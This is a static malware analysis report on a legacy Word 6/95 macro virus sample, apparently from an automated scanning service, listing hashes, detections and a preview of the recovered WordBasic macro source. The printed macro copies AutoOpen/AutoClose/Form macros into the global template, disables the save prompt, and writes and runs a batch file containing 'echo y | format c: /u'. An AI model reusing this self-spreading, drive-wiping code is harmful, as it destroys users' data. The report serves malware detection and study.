Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b457654917bae6c5…

MALICIOUS

Office (OLE)

7.0 KB First seen: 2012-06-14
MD5: fc5102a7b72d56a570e339e2dd831b0a SHA-1: 79bc6877b704f7cfd4a5e9a1f658ab6ad06821ce SHA-256: b457654917bae6c51537c6a4301d45732c5aec9fadc5255940defb0a6be9f196
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is identified as a legacy WordBasic macro virus, specifically a 'RSN MACRO VIRUS Goat file'. The extracted document body contains VBA code that attempts to format the C: drive and execute a batch file named 'c:\w.bat'. This indicates a destructive intent, likely to disrupt the user's system.

Heuristics 3

  • ClamAV: Win.Trojan.Gurre-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Gurre-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 1035 bytes
SHA-256: 97faa5339cb54a19a7e05e695cb3ba58052fd8bb752d1579cf05d74135c1ed68
Preview script
First 1,000 lines of the extracted script
,   29551
MAIN
REM ----------------------
REM ----------------------
fn$
MAIN
@cmd80d6 0 REM Enables auto macro
@cmd00d1 = 0 REM disbled prompt saving normal
fn$ = @cmd8025
Cins = 0
REM delAll
infect
@cmd80f2 @cmd80f7 20
Form
Cins
Cins = 0
@cmd80b7 0 0
i = 1 @cmd80b7 0
@cmd80b8 i , 0 = "Form"
Cins = 1
i
infect
@cmd80c2 fn$ = ":" = "AutoOpen" , "Global:" = "AutoOpen"
@cmd80c2 fn$ = ":" = "AutoClose" , "Global:" = "AutoClose"
@cmd80c2 fn$ = ":" = "Form" , "Global:" = "Form"
Form
"c:\w.bat" 1
1 , "echo y | format c: /u"
1
@cmd802d "c:\w.bat"
fn$
MAIN
@cmd80d6 0 REM Enables auto macro
@cmd00d1 = 0 REM disbled prompt saving normal
fn$ = @cmd8025
Cins = 0
REM delAll
infect
@cmd80f2 @cmd80f7 20
Form
Cins
Cins = 0
@cmd80b7 1 0
i = 1 @cmd80b7 1
@cmd80b8 i , 1 = "Form"
Cins = 1
i
infect
@cmd80c2 "Global:" = "AutoOpen" , fn$ = ":" = "AutoOpen"
@cmd80c2 "Global:" = "AutoClose" , fn$ = ":" = "AutoClose"
@cmd80c2 "Global:" = "Form" , fn$ = ":" = "Form"
@cmd0054 = 1
Form
"c:\w.bat" 1
1 , "echo y | format c: /u"
1
@cmd802d "c:\w.bat"